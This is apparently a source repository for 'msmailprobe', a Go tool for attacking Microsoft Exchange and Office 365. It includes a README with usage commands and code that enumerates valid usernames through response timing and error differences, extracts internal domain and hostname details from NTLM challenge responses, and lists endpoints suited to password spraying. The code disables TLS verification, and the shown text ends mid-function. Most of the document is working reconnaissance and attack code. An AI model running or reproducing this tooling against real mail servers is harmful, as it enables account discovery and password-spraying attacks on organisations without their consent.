├── LICENSE ├── README.md ├── ntlmharvest.go └── msmailprobe.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 customsync 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # msmailprobe 2 | 3 | Office 365 and Exchange Enumeration 4 | 5 | It is widely known that OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. This tool leverages all known, and even some lesser-known services exposed by default Exchange installations to enumerate users. It also targets Office 365 for error-based user enumeration. 6 | 7 | ## Getting Started 8 | 9 | 10 | If you want to download and compile the simple, non-dependant code, you must first install GoLang! I will let the incredible documentation, and other online resources help you with this task. 11 | 12 | https://golang.org/doc/install 13 | 14 | You may also download the compiled release [here](https://github.com/customsync/msmailprobe/releases). 15 | 16 | ## Syntax 17 | 18 | List examples of commands for this applications, but simply running the binary with the `examples` command: 19 | 20 | ``` 21 | ./msmailprobe examples 22 | ``` 23 | 24 | You can also get more specific help by running the binary with the arguments you are interested in: 25 | 26 | ``` 27 | ./msmailprobe identify 28 | ./msmailprobe userenum 29 | ./msmailprobe userenum --onprem 30 | ./msmailprobe userenum --o365 31 | ``` 32 | 33 | ## Usage 34 | 35 | #### Identify Command 36 | * Used for gathering information about a host that may be pointed towards an Exchange or o365 tied domain 37 | * Queries for specific DNS records related to Office 365 integration 38 | * Attempts to extract internal domain name for onprem instance of Exchange 39 | * Identifies services vulnerable to time-based user enumeration for onprem Exchange 40 | * Lists password-sprayable services exposed for onprem Exchange host 41 | 42 | ``` 43 | Flag to use: 44 | -t to specify target host 45 | 46 | Example: 47 | ./msmailprobe identify -t mail.target.com 48 | ``` 49 | 50 | #### Userenum (o365) Command 51 | * Error-based user enumeration for Office 365 integrated email addresses 52 | 53 | ``` 54 | Flags to use: 55 | -E for email list OR -e for single email address 56 | -o [optional]to specify an out file for valid emails identified 57 | --threads [optional] for setting amount of requests to be made concurrently 58 | 59 | Examples: 60 | ./msmailprobe userenum --o365 -E emailList.txt -o validemails.txt --threads 25 61 | ./msmailprobe userenum --o365 -e admin@target.com 62 | ``` 63 | 64 | #### Userenum (onprem) Command 65 | * Time-based user enumeration against multiple onprem Exchange services 66 | 67 | ``` 68 | Flags to use: 69 | -t to specify target host 70 | -U for user list OR -u for single username 71 | -o [optional]to specify an out file for valid users identified 72 | --threads [optional] for setting amount of requests to be made concurrently 73 | 74 | Examples: 75 | ./msmailprobe userenum --onprem -t mail.target.com -U userList.txt -o validusers.txt --threads 25 76 | ./msmailprobe userenum --onprem -t mail.target.com -u admin 77 | ``` 78 | 79 | ## Acknowledgments 80 | 81 | * [**poptart**](https://github.com/HosakaCorp) - *For a truck load of golang assistance, poking of Exchange services, and help testing timing of responses* 82 | * [**jlarose**](https://github.com/jordanlarose) - *Parsing decimal data within NTLMSSP authentication reponse for internal domain name* 83 | * [**Vincent Yui**](https://github.com/vysec) - *Office 365 check python script* 84 | * **grimhacker** - *Discovery/disclosure of error-based user enumeration within Office 365* [blog post](https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/) 85 | * **Nate Power** - *Discovery and disclosure of OWA time-based user enumeration* 86 | 87 | ## License 88 | 89 | This project is licensed under the MIT License - see the [LICENSE.md](https://github.com/customsync/msmailprobe/blob/master/LICENSE) file for details 90 | -------------------------------------------------------------------------------- /ntlmharvest.go: -------------------------------------------------------------------------------- 1 | 2 | package main 3 | 4 | import( 5 | "net/http" 6 | "net" 7 | "log" 8 | "fmt" 9 | "time" 10 | "strings" 11 | b64 "encoding/base64" 12 | "flag" 13 | "os" 14 | "crypto/tls" 15 | ) 16 | 17 | const ( 18 | BrightGreen = "\033[1;32m%s\033[0m" 19 | BrightYellow = "\033[1;33m%s\033[0m" 20 | BrightRed = "\033[1;31m%s\033[0m" 21 | WhiteUnderline = "\033[1;4m%s\033[0m" 22 | ClearColor = "\033[1;1m%s\033[0m" 23 | ) 24 | 25 | func main() { 26 | identifyCommand := flag.NewFlagSet("identify", flag.ExitOnError) 27 | identifyHost := identifyCommand.String("t", "","Host for targeted Exchange services.") 28 | 29 | examplesCommand := flag.NewFlagSet("examples", flag.ExitOnError) 30 | 31 | 32 | if len(os.Args) <= 1 { 33 | fmt.Println("~~NTLMHarvest v2.0.0~~") 34 | fmt.Println("Supply either the identify, userenum, or examples command for further assistance.\n") 35 | fmt.Println("View examples:") 36 | fmt.Println(" ./msmailprobe examples") 37 | fmt.Println(" ./msmailprobe identify") 38 | return 39 | } 40 | 41 | switch os.Args[1] { 42 | 43 | case "identify": 44 | identifyCommand.Parse(os.Args[2:]) 45 | case "examples": 46 | examplesCommand.Parse(os.Args[2:]) 47 | default: 48 | fmt.Printf("%q is not valid command.\n",os.Args[1]) 49 | os.Exit(2) 50 | } 51 | 52 | if identifyCommand.Parsed() { 53 | if *identifyHost != "" { 54 | harvestInternalDomain(*identifyHost, true) 55 | urlEnum(*identifyHost) 56 | } else { 57 | fmt.Println("~~Identify Command~~\n") 58 | fmt.Println("Flag to use:") 59 | fmt.Println(" -t to specify target host\n") 60 | fmt.Println("Example:") 61 | fmt.Println(" ./msmailprobe identify -t mail.target.com\n") 62 | } 63 | } 64 | 65 | if examplesCommand.Parsed() { 66 | fmt.Println("./msmailprobe identify -h mail.target.com") 67 | } 68 | } 69 | 70 | func harvestInternalDomain(host string, outputDomain bool) string { 71 | if outputDomain == true { 72 | fmt.Println("\nAttempting to harvest internal domain:") 73 | } 74 | url1 := "https://"+host+"/ews" 75 | url2 := "https://"+host+"/autodiscover/autodiscover.xml" 76 | url3 := "https://"+host+"/rpc" 77 | url4 := "https://"+host+"/mapi" 78 | url5 := "https://"+host+"/oab" 79 | url6 := "https://autodiscover."+host+"/autodiscover/autodiscover.xml" 80 | var urlToHarvest string 81 | if webRequestCodeResponse(url1) == 401 { 82 | urlToHarvest = url1 83 | } else if webRequestCodeResponse(url2) == 401 { 84 | urlToHarvest = url2 85 | } else if webRequestCodeResponse(url3) == 401 { 86 | urlToHarvest = url3 87 | } else if webRequestCodeResponse(url4) == 401 { 88 | urlToHarvest = url4 89 | } else if webRequestCodeResponse(url5) == 401 { 90 | urlToHarvest = url5 91 | } else if webRequestCodeResponse(url6) == 401 { 92 | urlToHarvest = url6 93 | } else { 94 | fmt.Printf(BrightYellow,"[-] ") 95 | fmt.Print("Unable to resolve host provided to harvest internal domain name.\n") 96 | } 97 | 98 | tr := &http.Transport { 99 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 100 | } 101 | timeout := time.Duration(3 * time.Second) 102 | 103 | client := &http.Client { 104 | Timeout: timeout, 105 | Transport: tr, 106 | 107 | } 108 | req, err := http.NewRequest("GET", urlToHarvest, nil) 109 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36") 110 | req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==") 111 | resp, err := client.Do(req) 112 | 113 | 114 | if err != nil { 115 | return "" 116 | } 117 | ntlmResponse := resp.Header.Get("WWW-Authenticate") 118 | data := strings.Split(ntlmResponse, " ") 119 | 120 | base64DecodedResp, err := b64.StdEncoding.DecodeString(data[1]) 121 | if err != nil { 122 | fmt.Println("Unable to parse NTLM response for internal domain name") 123 | } 124 | 125 | 126 | var continueAppending bool 127 | var internalDomainDecimal []byte 128 | var endcount int 129 | for count, decimalValue := range base64DecodedResp { 130 | if decimalValue == 0 { 131 | continue 132 | } 133 | if decimalValue == 2 { 134 | continueAppending = false 135 | endcount = count 136 | } 137 | if continueAppending == true { 138 | internalDomainDecimal = append(internalDomainDecimal, decimalValue) 139 | } 140 | if decimalValue == 15 { 141 | continueAppending = true 142 | continue 143 | } 144 | } 145 | 146 | var record bool 147 | var hostnameDecimal []byte 148 | 149 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 150 | if record == false { 151 | if (base64DecodedResp[i-2] == 1 && base64DecodedResp[i-1] == 0 ) { 152 | record = true 153 | } 154 | } 155 | if record == true { 156 | if (base64DecodedResp[i] == 0){ 157 | continue 158 | } 159 | if (base64DecodedResp[i] == 4){ 160 | endcount = i 161 | break 162 | } 163 | hostnameDecimal = append(hostnameDecimal, base64DecodedResp[i]) 164 | } 165 | } 166 | 167 | var domainfqdndecimal []byte 168 | 169 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 170 | if record == true { 171 | if (base64DecodedResp[i] == 0){ 172 | continue 173 | } 174 | if (base64DecodedResp[i] == 3){ 175 | endcount = i 176 | break 177 | } 178 | domainfqdndecimal = append(domainfqdndecimal, base64DecodedResp[i]) 179 | } 180 | } 181 | 182 | var hostnamefqdndecimal []byte 183 | 184 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 185 | if record == true { 186 | if (base64DecodedResp[i] == 0){ 187 | continue 188 | } 189 | if (base64DecodedResp[i] == 5){ 190 | endcount = i 191 | break 192 | } 193 | hostnamefqdndecimal = append(hostnamefqdndecimal, base64DecodedResp[i]) 194 | } 195 | } 196 | 197 | var treefqdndecimal []byte 198 | 199 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 200 | if record == true { 201 | if (base64DecodedResp[i] == 0){ 202 | continue 203 | } 204 | if (base64DecodedResp[i] == 7){ 205 | endcount = i 206 | break 207 | } 208 | treefqdndecimal = append(treefqdndecimal, base64DecodedResp[i]) 209 | } 210 | } 211 | 212 | 213 | if outputDomain == true { 214 | fmt.Printf(BrightGreen, "[+] ") 215 | fmt.Print("Internal Domain: ") 216 | fmt.Printf(BrightGreen, string(internalDomainDecimal)+ "\n") 217 | fmt.Printf(BrightGreen, "[+] ") 218 | fmt.Print("Hostname: ") 219 | fmt.Printf(BrightGreen, string(hostnameDecimal)+ "\n") 220 | fmt.Printf(BrightGreen, "[+] ") 221 | fmt.Print("FQDN Domain: ") 222 | fmt.Printf(BrightGreen, string(domainfqdndecimal)+ "\n") 223 | fmt.Printf(BrightGreen, "[+] ") 224 | fmt.Print("Forest FQDN: ") 225 | fmt.Printf(BrightGreen, string(treefqdndecimal)+ "\n") 226 | } 227 | return string(internalDomainDecimal) 228 | } 229 | 230 | func webRequestBasicAuth(URI string, user string, pass string, tr *http.Transport) int { 231 | timeout := time.Duration(45 * time.Second) 232 | client := &http.Client { 233 | Timeout: timeout, 234 | Transport: tr, 235 | } 236 | req, err := http.NewRequest("GET", URI, nil) 237 | req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") 238 | req.SetBasicAuth(user, pass) 239 | resp, errr := client.Do(req) 240 | if errr != nil { 241 | fmt.Printf("[i] Potential Timeout - %s \n", user) 242 | fmt.Printf("[i] One of your requests has taken longer than 45 seconds to respond.") 243 | fmt.Printf("[i] Consider lowering amount of threads used for enumeration.") 244 | log.Fatal(err) 245 | } 246 | return resp.StatusCode 247 | } 248 | 249 | func urlEnum(hostInput string) { 250 | //var logger = log.New(os.Stdout, "", 0) 251 | //Beginning of o365 enumeration 252 | //target-com.mail.protection.outlook.com 253 | hostSlice := strings.Split(hostInput, ".") 254 | //rootDomain := hostSlice[len(hostSlice)-2] + "." + hostSlice[len(hostSlice)-1] 255 | o365Domain := hostSlice[len(hostSlice)-2] + "-" + hostSlice[len(hostSlice)-1] + ".mail.protection.outlook.com" 256 | addr,err := net.LookupIP(o365Domain) 257 | if err != nil { 258 | fmt.Printf(BrightYellow,"[-] ") 259 | fmt.Println("Domain is not using o365 resources.") 260 | } else if addr == nil { 261 | fmt.Println("error") 262 | } else { 263 | fmt.Printf(BrightGreen,"[+] ") 264 | fmt.Println("Domain is using o365 resources.") 265 | } 266 | asURI := "https://" + hostInput + "/Microsoft-Server-ActiveSync" 267 | adURI := "https://" + hostInput + "/autodiscover/autodiscover.xml" 268 | ad2URI := "https://autodiscover." + hostInput + "/autodiscover/autodiscover.xml" 269 | owaURI := "https://" + hostInput + "/owa" 270 | timeEndpointsIdentified := false 271 | fmt.Println("") 272 | fmt.Println("\nIdentifying endpoints vulnerable to time-based enumeration:") 273 | timeEndpoints := []string{asURI,adURI,ad2URI,owaURI} 274 | for _, uri := range timeEndpoints { 275 | responseCode := webRequestCodeResponse(uri) 276 | if responseCode == 401 { 277 | fmt.Printf(BrightGreen,"[+] ") 278 | fmt.Println(uri) 279 | timeEndpointsIdentified = true 280 | } 281 | if responseCode == 200 { 282 | fmt.Printf(BrightGreen,"[+] ") 283 | fmt.Println(uri) 284 | timeEndpointsIdentified = true 285 | } 286 | } 287 | if timeEndpointsIdentified == false { 288 | fmt.Printf(BrightYellow, "[-] ") 289 | fmt.Println("No Exchange endpoints vulnerable to time-based enumeration discovered.") 290 | } 291 | fmt.Println("\n\nIdentifying exposed Exchange endpoints for potential spraying:") 292 | passEndpointIdentified := false 293 | rpcURI := "https://" + hostInput + "/rpc" 294 | oabURI := "https://" + hostInput + "/oab" 295 | ewsURI := "https://" + hostInput + "/ews" 296 | mapiURI := "https://" + hostInput + "/mapi" 297 | 298 | passEndpoints401 := []string{oabURI, ewsURI, mapiURI, asURI, adURI,ad2URI,rpcURI} 299 | for _, uri := range passEndpoints401 { 300 | responseCode := webRequestCodeResponse(uri) 301 | if responseCode == 401 { 302 | fmt.Printf(BrightGreen,"[+] ") 303 | fmt.Println(uri) 304 | passEndpointIdentified = true 305 | } 306 | } 307 | ecpURI := "https://" + hostInput + "/ecp" 308 | endpoints200 := []string{ecpURI, owaURI} 309 | for _, uri := range endpoints200 { 310 | responseCode := webRequestCodeResponse(uri) 311 | if responseCode == 200 { 312 | fmt.Printf(BrightGreen,"[+] ") 313 | fmt.Println(uri) 314 | passEndpointIdentified = true 315 | } 316 | } 317 | if passEndpointIdentified == false { 318 | fmt.Printf(BrightYellow, "[-] ") 319 | fmt.Println("No onprem Exchange services identified.") 320 | } 321 | } 322 | 323 | func webRequestCodeResponse(URI string) int { 324 | tr := &http.Transport { 325 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 326 | } 327 | timeout := time.Duration(3 * time.Second) 328 | client := &http.Client { 329 | Timeout: timeout, 330 | Transport: tr, 331 | } 332 | req, err := http.NewRequest("GET", URI, nil) 333 | req.Header.Set("User-Agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1") 334 | resp, err := client.Do(req) 335 | if err != nil { 336 | return 0 337 | //log.Fatal(err) 338 | } 339 | return resp.StatusCode 340 | } 341 | 342 | func writeFile(filename string, values []string) { 343 | if len(values) == 0 { 344 | return 345 | } 346 | f, err := os.Create(filename) 347 | if err != nil { 348 | log.Fatal(err) 349 | } 350 | defer f.Close() 351 | for _, value := range values { 352 | fmt.Fprintln(f, value) 353 | } 354 | } 355 | -------------------------------------------------------------------------------- /msmailprobe.go: -------------------------------------------------------------------------------- 1 | 2 | package main 3 | 4 | import( 5 | "net/http" 6 | "net" 7 | "log" 8 | "fmt" 9 | "io/ioutil" 10 | "time" 11 | "strings" 12 | b64 "encoding/base64" 13 | "flag" 14 | "os" 15 | "crypto/tls" 16 | "sort" 17 | "sync" 18 | ) 19 | 20 | const ( 21 | BrightGreen = "\033[1;32m%s\033[0m" 22 | BrightYellow = "\033[1;33m%s\033[0m" 23 | BrightRed = "\033[1;31m%s\033[0m" 24 | WhiteUnderline = "\033[1;4m%s\033[0m" 25 | ClearColor = "\033[1;1m%s\033[0m" 26 | ) 27 | 28 | func main() { 29 | userenumCommand := flag.NewFlagSet("userenum", flag.ExitOnError) 30 | onpremFlag := userenumCommand.Bool("onprem", false, "Flag to specify an On-Premise instance of Exchange") 31 | o365Flag := userenumCommand.Bool("o365", false, "Use this flag if Exchange services are hosted by Office 365.") 32 | hostFlag := userenumCommand.String("t","","Host pointing to Exchange services.") 33 | // domainFlag := userenumCommand.String("d","","Internal domain for targeted host.") 34 | userlistFlag := userenumCommand.String("U","","Userlist file import flag") 35 | usernameFlag := userenumCommand.String("u","","Single username value.") 36 | emaillistFlag := userenumCommand.String("E", "", "Email list file path flag (o365)") 37 | emailFlag := userenumCommand.String("e","","Single email address to enumerate (o365)") 38 | outfileFlag := userenumCommand.String("o", "", "Flag used for outputting valid users/emails.") 39 | threadFlag := userenumCommand.Int("threads", 5, "Flag used for setting amount of threads for requests being made.") 40 | 41 | identifyCommand := flag.NewFlagSet("identify", flag.ExitOnError) 42 | identifyHost := identifyCommand.String("t", "","Host for targeted Exchange services.") 43 | 44 | examplesCommand := flag.NewFlagSet("examples", flag.ExitOnError) 45 | 46 | 47 | if len(os.Args) <= 1 { 48 | fmt.Println("~~MSMailProbe v2.00~~") 49 | fmt.Println("Supply either the identify, userenum, or examples command for further assistance.\n") 50 | fmt.Println("View examples:") 51 | fmt.Println(" ./msmailprobe examples") 52 | fmt.Println(" ./msmailprobe identify") 53 | fmt.Println(" ./msmailprobe userenum") 54 | return 55 | } 56 | 57 | switch os.Args[1] { 58 | case "userenum": 59 | userenumCommand.Parse(os.Args[2:]) 60 | case "identify": 61 | identifyCommand.Parse(os.Args[2:]) 62 | case "examples": 63 | examplesCommand.Parse(os.Args[2:]) 64 | default: 65 | fmt.Printf("%q is not valid command.\n",os.Args[1]) 66 | os.Exit(2) 67 | } 68 | if userenumCommand.Parsed() { 69 | if *onpremFlag == false && *o365Flag == false { 70 | fmt.Println("Please specify --onprem or --o365 when using the userenum command.") 71 | fmt.Println(" *add one of the two flags above for more specific help") 72 | return 73 | } 74 | if *threadFlag > 100 { 75 | fmt.Println("[i] Exceeded maximum recommended number of threads, setting to 5.") 76 | *threadFlag = 5 77 | } 78 | if *onpremFlag == true && *o365Flag == false { 79 | if *userlistFlag != "" && *hostFlag != "" { 80 | if *outfileFlag == "" { 81 | avgResponse := basicAuthAvgTime(*hostFlag) 82 | determineValidUsers(*hostFlag, avgResponse,importUserList(*userlistFlag), *threadFlag) 83 | } 84 | if *outfileFlag != "" { 85 | avgResponse := basicAuthAvgTime(*hostFlag) 86 | writeFile(*outfileFlag, determineValidUsers(*hostFlag, avgResponse,importUserList(*userlistFlag), *threadFlag)) 87 | } 88 | } else if *usernameFlag != "" && *hostFlag != "" { 89 | avgResponse := basicAuthAvgTime(*hostFlag) 90 | determineValidUsers(*hostFlag, avgResponse,[]string{*usernameFlag}, *threadFlag) 91 | } else { 92 | fmt.Println("~~On-Premise Exchange User Enumeration~~\n") 93 | fmt.Println("Flags to use:") 94 | fmt.Println(" -t to specify target host") 95 | fmt.Println(" -U for user list OR -u for single username") 96 | fmt.Println(" -o [optional]to specify an out file for valid users identified") 97 | fmt.Println(" --threads [optional] for setting amount of requests to be made concurrently\n") 98 | fmt.Println("Examples:") 99 | fmt.Println(" ./msmailprobe userenum --onprem -t mail.target.com -U userList.txt -o validusers.txt --threads 25") 100 | fmt.Println(" ./msmailprobe userenum --onprem -t mail.target.com -u admin") 101 | } 102 | } 103 | if *onpremFlag == false && *o365Flag == true { 104 | if *emaillistFlag == "" && *emailFlag=="" && *outfileFlag=="" { 105 | fmt.Println("~~Office 365 User Enumeration~~\n") 106 | fmt.Println("Flags to use:") 107 | fmt.Println(" -E for email list OR -e for single email address") 108 | fmt.Println(" -o [optional]to specify an out file for valid emails identified") 109 | fmt.Println(" --threads [optional] for setting amount of requests to be made concurrently\n") 110 | fmt.Println("Examples:") 111 | fmt.Println(" ./msmailprobe userenum --o365 -E emailList.txt -o validemails.txt --threads 25") 112 | fmt.Println(" ./msmailprobe userenum --o365 -e admin@target.com") 113 | return 114 | } 115 | if *outfileFlag == "" { 116 | if *emaillistFlag != "" && *emailFlag == "" { 117 | o365enum(importUserList(*emaillistFlag), *threadFlag) 118 | } else if *emailFlag != "" && *emaillistFlag == "" { 119 | o365enum([]string{*emailFlag}, *threadFlag) 120 | } 121 | } else if *outfileFlag != "" { 122 | if *emailFlag != "" && *emaillistFlag == "" { 123 | writeFile(*outfileFlag, o365enum([]string{*emailFlag}, *threadFlag)) 124 | } else if *emailFlag == "" && *emaillistFlag != "" { 125 | writeFile(*outfileFlag, o365enum(importUserList(*emaillistFlag), *threadFlag)) 126 | } else { 127 | fmt.Println("For help:") 128 | fmt.Println("./msmailprobe userenum --o365") 129 | } 130 | } else { 131 | fmt.Println("error2") 132 | } 133 | } 134 | if *onpremFlag == true && *o365Flag == true { 135 | fmt.Println("Please only use one of the --o365 or --onprem flags.") 136 | return 137 | } 138 | } 139 | 140 | if identifyCommand.Parsed() { 141 | if *identifyHost != "" { 142 | harvestInternalDomain(*identifyHost, true) 143 | urlEnum(*identifyHost) 144 | } else { 145 | fmt.Println("~~Identify Command~~\n") 146 | fmt.Println("Flag to use:") 147 | fmt.Println(" -t to specify target host\n") 148 | fmt.Println("Example:") 149 | fmt.Println(" ./msmailprobe identify -t mail.target.com\n") 150 | } 151 | } 152 | 153 | if examplesCommand.Parsed() { 154 | fmt.Println("./msmailprobe identify -h mail.target.com") 155 | fmt.Println("./msmailprobe userenum --onprem -t mail.target.com -U users.txt -o validusers.txt --threads 20") 156 | fmt.Println("./msmailprobe userenum --onprem -t mail.target.com -u admin") 157 | fmt.Println("./msmailprobe userenum --o365 -E emailList.txt -o validemails.txt --threads 50") 158 | fmt.Println("./msmailprobe userenum --o365 -e admin@target.com") 159 | } 160 | } 161 | 162 | func harvestInternalDomain(host string, outputDomain bool) string { 163 | if outputDomain == true { 164 | fmt.Println("\nAttempting to harvest internal domain:") 165 | } 166 | url1 := "https://"+host+"/ews" 167 | url2 := "https://"+host+"/autodiscover/autodiscover.xml" 168 | url3 := "https://"+host+"/rpc" 169 | url4 := "https://"+host+"/mapi" 170 | url5 := "https://"+host+"/oab" 171 | url6 := "https://autodiscover."+host+"/autodiscover/autodiscover.xml" 172 | var urlToHarvest string 173 | if webRequestCodeResponse(url1) == 401 { 174 | urlToHarvest = url1 175 | } else if webRequestCodeResponse(url2) == 401 { 176 | urlToHarvest = url2 177 | } else if webRequestCodeResponse(url3) == 401 { 178 | urlToHarvest = url3 179 | } else if webRequestCodeResponse(url4) == 401 { 180 | urlToHarvest = url4 181 | } else if webRequestCodeResponse(url5) == 401 { 182 | urlToHarvest = url5 183 | } else if webRequestCodeResponse(url6) == 401 { 184 | urlToHarvest = url6 185 | } else { 186 | fmt.Printf(BrightYellow,"[-] ") 187 | fmt.Print("Unable to resolve host provided to harvest internal domain name.\n") 188 | } 189 | 190 | tr := &http.Transport { 191 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 192 | } 193 | timeout := time.Duration(3 * time.Second) 194 | 195 | client := &http.Client { 196 | Timeout: timeout, 197 | Transport: tr, 198 | 199 | } 200 | req, err := http.NewRequest("GET", urlToHarvest, nil) 201 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.79 Safari/537.36") 202 | req.Header.Set("Authorization", "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==") 203 | resp, err := client.Do(req) 204 | 205 | 206 | if err != nil { 207 | return "" 208 | } 209 | ntlmResponse := resp.Header.Get("WWW-Authenticate") 210 | data := strings.Split(ntlmResponse, " ") 211 | 212 | base64DecodedResp, err := b64.StdEncoding.DecodeString(data[1]) 213 | if err != nil { 214 | fmt.Println("Unable to parse NTLM response for internal domain name") 215 | } 216 | 217 | 218 | var continueAppending bool 219 | var internalDomainDecimal []byte 220 | var endcount int 221 | for count, decimalValue := range base64DecodedResp { 222 | if decimalValue == 0 { 223 | continue 224 | } 225 | if decimalValue == 2 { 226 | continueAppending = false 227 | endcount = count 228 | } 229 | if continueAppending == true { 230 | internalDomainDecimal = append(internalDomainDecimal, decimalValue) 231 | } 232 | if decimalValue == 15 { 233 | continueAppending = true 234 | continue 235 | } 236 | } 237 | 238 | var record bool 239 | var hostnameDecimal []byte 240 | 241 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 242 | if record == false { 243 | if (base64DecodedResp[i-2] == 1 && base64DecodedResp[i-1] == 0 ) { 244 | record = true 245 | } 246 | } 247 | if record == true { 248 | if (base64DecodedResp[i] == 0){ 249 | continue 250 | } 251 | if (base64DecodedResp[i] == 4){ 252 | endcount = i 253 | break 254 | } 255 | hostnameDecimal = append(hostnameDecimal, base64DecodedResp[i]) 256 | } 257 | } 258 | 259 | var domainfqdndecimal []byte 260 | 261 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 262 | if record == true { 263 | if (base64DecodedResp[i] == 0){ 264 | continue 265 | } 266 | if (base64DecodedResp[i] == 3){ 267 | endcount = i 268 | break 269 | } 270 | domainfqdndecimal = append(domainfqdndecimal, base64DecodedResp[i]) 271 | } 272 | } 273 | 274 | var hostnamefqdndecimal []byte 275 | 276 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 277 | if record == true { 278 | if (base64DecodedResp[i] == 0){ 279 | continue 280 | } 281 | if (base64DecodedResp[i] == 5){ 282 | endcount = i 283 | break 284 | } 285 | hostnamefqdndecimal = append(hostnamefqdndecimal, base64DecodedResp[i]) 286 | } 287 | } 288 | 289 | var treefqdndecimal []byte 290 | 291 | for i := endcount+2; i <= len(base64DecodedResp)-1; i++ { 292 | if record == true { 293 | if (base64DecodedResp[i] == 0){ 294 | continue 295 | } 296 | if (base64DecodedResp[i] == 7){ 297 | endcount = i 298 | break 299 | } 300 | treefqdndecimal = append(treefqdndecimal, base64DecodedResp[i]) 301 | } 302 | } 303 | 304 | 305 | if outputDomain == true { 306 | fmt.Printf(BrightGreen, "[+] ") 307 | fmt.Print("Internal Domain: ") 308 | fmt.Printf(BrightGreen, string(internalDomainDecimal)+ "\n") 309 | fmt.Printf(BrightGreen, "[+] ") 310 | fmt.Print("Hostname: ") 311 | fmt.Printf(BrightGreen, string(hostnameDecimal)+ "\n") 312 | fmt.Printf(BrightGreen, "[+] ") 313 | fmt.Print("FQDN Domain: ") 314 | fmt.Printf(BrightGreen, string(domainfqdndecimal)+ "\n") 315 | fmt.Printf(BrightGreen, "[+] ") 316 | fmt.Print("Forest FQDN: ") 317 | fmt.Printf(BrightGreen, string(treefqdndecimal)+ "\n") 318 | } 319 | return string(internalDomainDecimal) 320 | } 321 | 322 | func importUserList(tempname string) []string { 323 | userFileBytes, err := ioutil.ReadFile(tempname) 324 | if err != nil { 325 | fmt.Print(err) 326 | } 327 | var userFileString = string(userFileBytes) 328 | userArray := strings.Split(userFileString, "\n") 329 | //Delete last unnecessary newline inserted into this slice 330 | userArray = userArray[:len(userArray)-1] 331 | return userArray 332 | } 333 | 334 | func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string { 335 | limit := threads 336 | var wg sync.WaitGroup 337 | mux := &sync.Mutex{} 338 | queue := make(chan string) 339 | 340 | /*Keep in mind you, nothing has been added to handle successful auths 341 | so the password for auth attempts has been hardcoded to something 342 | that is not likely to be correct. 343 | */ 344 | pass := "Summer2018978" 345 | internaldomain := harvestInternalDomain(host, false) 346 | url1 := "https://"+host+"/autodiscover/autodiscover.xml" 347 | url2 := "https://"+host+"/Microsoft-Server-ActiveSync" 348 | url3 := "https://autodiscover."+host+"/autodiscover/autodiscover.xml" 349 | var urlToHarvest string 350 | if webRequestCodeResponse(url1) == 401 { 351 | urlToHarvest = url1 352 | } else if webRequestCodeResponse(url2) == 401 { 353 | urlToHarvest = url2 354 | } else if webRequestCodeResponse(url3) == 401 { 355 | urlToHarvest = url3 356 | } else { 357 | fmt.Println("[-] Unable to resolve host provided to determine valid users.") 358 | os.Exit(2) 359 | } 360 | var validusers []string 361 | tr := &http.Transport { 362 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 363 | } 364 | for i := 0; i < limit; i++ { 365 | wg.Add(1) 366 | go func(i int) { 367 | defer wg.Done() 368 | for user := range queue { 369 | startTime := time.Now() 370 | webRequestBasicAuth(urlToHarvest, internaldomain + "\\" + user, pass, tr) 371 | elapsedTime := time.Since(startTime) 372 | 373 | if float64(elapsedTime) < float64(avgResponse)*0.77 { 374 | mux.Lock() 375 | fmt.Printf(BrightGreen, "[+] " +user + " - ") 376 | fmt.Printf(BrightGreen,elapsedTime) 377 | fmt.Println("") 378 | validusers = append(validusers, user) 379 | mux.Unlock() 380 | } else { 381 | mux.Lock() 382 | fmt.Print("[-] " + user + " - ") 383 | fmt.Println(elapsedTime) 384 | mux.Unlock() 385 | } 386 | } 387 | }(i) 388 | } 389 | 